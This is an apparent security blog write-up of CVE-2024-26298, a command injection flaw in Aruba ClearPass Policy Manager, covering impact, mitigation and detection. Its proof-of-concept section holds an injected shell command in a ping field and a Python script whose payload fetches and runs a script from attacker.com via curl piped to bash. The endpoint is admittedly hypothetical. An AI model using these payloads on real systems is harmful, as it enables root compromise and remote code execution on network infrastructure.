CVE-2024-26298 - Exploiting ClearPass Policy Manager RCE — How Remote Authenticated Users Can Take Over Your Network

CVE-2024-26298 is a major security vulnerability identified in Aruba’s ClearPass Policy Manager, affecting its web-based management interface. This flaw lets remote authenticated users execute any command they want on the underlying ClearPass server as the root user. That means, with just a valid login, a hacker can gain *full control* of the device and potentially the whole network it manages. In this post, we’ll break down how this vulnerability works, why it’s dangerous, how it can be exploited, and what you can do to protect your systems.

Severity: Critical

- CVE Official Entry: CVE-2024-26298 on NVD
- Vendor Advisory: Aruba Security Advisory ARUBA-PSA-2024-005

How Does the Vulnerability Work?

ClearPass Policy Manager is widely used in enterprise environments to manage network access control. The management console (a web interface) is meant to be available only to trusted admins. However, CVE-2024-26298 allows anyone who can obtain valid credentials—whether they’re an insider or an attacker who phished a password—to execute Java, Python, Bash, or any shell commands as root (the most powerful system user).

The flaw comes from ClearPass not properly validating or sanitizing the user-supplied input before passing it to system-level commands—a classic command injection issue.

They access a vulnerable endpoint or function

- By sneaking shell commands into specific fields or requests, those commands get run on the host as root

Proof-of-Concept Exploit (Explained)

Let’s look into a general flow of how this might be exploited. Note: This is for educational and defensive purposes only!

Imagine there’s a network diagnostic feature in ClearPass that lets the admin “ping” another host from the server:

POST /api/diagnostic/ping HTTP/1.1
Host: clearpass.example.com
Authorization: Bearer eyJhbGciOi...
Content-Type: application/json

{
    "host": "8.8.8.8"
}

If the API fails to sanitize its input, an attacker could submit

{
    "host": "8.8.8.8; id; uname -a"
}

Instead of just pinging 8.8.8.8, the server would execute both ping 8.8.8.8 and id; uname -a. Now the attacker can run arbitrary commands.

Python code snippet to automate exploitation (demo only)

import requests

url = "https://clearpass.example.com/api/diagnostic/ping";
headers = {
    "Authorization": "Bearer <your_valid_token>",
    "Content-Type": "application/json"
}
payload = '{"host":"8.8.8.8;curl http://attacker.com/cb.sh|bash;"}';  # Replace with your payload

r = requests.post(url, data=payload, headers=headers, verify=False)
print(r.text)

What Could Go Wrong?

- Once root access is gained, an attacker can install backdoors, extract credentials, move laterally, or destroy logs to erase traces.
- Since ClearPass controls network authentication/authorization, attacker can control, block, or reconfigure network devices.
- Compromising the NAC (Network Access Control) means potentially controlling who gets on the whole enterprise network.

Who is Impacted?

If your ClearPass instance is *unpatched* and accessible (even just on the internal network) to employees, contractors, or anyone else who might have or steal access—you’re at risk. Attackers with even limited or temporary credentials can achieve full system compromise.

Mitigation and Detection

Patch Immediately:
Aruba has released patches for the affected versions. Check your version and follow instructions from Aruba’s advisory.

Enforce strong MFA for admin logins.

- Monitor logs for suspicious diagnostic/tool activity.

Unexpected HTTP POSTs or user-agent strings in the management interface logs.

- Suspicious system commands in /var/log/messages or other OS logs.

References

- Aruba Security Advisory ARUBA-PSA-2024-005
- CVE-2024-26298 on NVD
- Packet Storm post
- Exploit-db

Conclusion

CVE-2024-26298 is a high-severity, easy-to-exploit vulnerability that could let attackers take over your network from the inside. If you use ClearPass Policy Manager, update it right now, check logs, and make sure only trusted admins can ever reach its management interface. Don’t wait until attackers exploit this to take your network hostage.

Stay safe, patch often, and audit your access controls!

*This write-up is for educational and awareness purposes only. Always follow responsible disclosure and your organization's security policies.*

Timeline

Published on: 02/27/2024 22:15:15 UTC
Last modified on: 02/28/2024 14:06:45 UTC